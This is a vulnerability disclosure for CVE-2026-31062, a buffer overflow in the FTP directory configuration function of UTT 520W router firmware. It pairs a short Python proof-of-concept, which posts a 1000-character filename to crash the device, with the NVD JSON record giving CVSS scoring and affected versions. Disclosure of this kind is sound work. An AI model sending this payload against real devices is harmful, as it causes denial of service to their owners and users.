CVE-2026-31062

import requests # Target URL (Hypothetical endpoint based on function name) target_url = "http://<target_ip>/formFtpServerDirConfig" # Malicious payload: A long string to trigger buffer overflow # Sending 1000 'A' characters to exceed the buffer limit payload = "A" * 1000 # Construct the POST data data = { "filename": payload } try: # Send the malicious request # Note: This requires High Privileges (Admin access) as per CVSS response = requests.post(target_url, data=data, timeout=5) print(f"Request sent, status code: {response.status_code}") except requests.exceptions.RequestException as e: # If the device crashes, connection will fail or timeout print(f"Device likely crashed or connection refused: {e}")

{"cve": {"id": "CVE-2026-31062", "sourceIdentifier": "[email protected]", "published": "2026-04-06T15:17:08.840", "lastModified": "2026-04-07T20:29:00.740", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "UTT Aggressive 520W v3v1.7.7-180627 was discovered to contain a buffer overflow in the filename parameter of the formFtpServerDirConfig function. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted input."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H", "baseScore": 4.5, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-120"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:utt:520w_firmware:1.7.7-180627:*:*:*:*:*:*:*", "matchCriteriaId": "114E0E55-A7EE-4B95-8584-41F4FCED4B64"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:utt:520w:3.0:*:*:*:*:*:*:*", "matchCriteriaId": "DD42AC5F-531F-40FC-BD78-D20F298AF79A"}]}]}], "references": [{"url": "https://github.com/zxq0408/Vul202601/blob/main/7.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}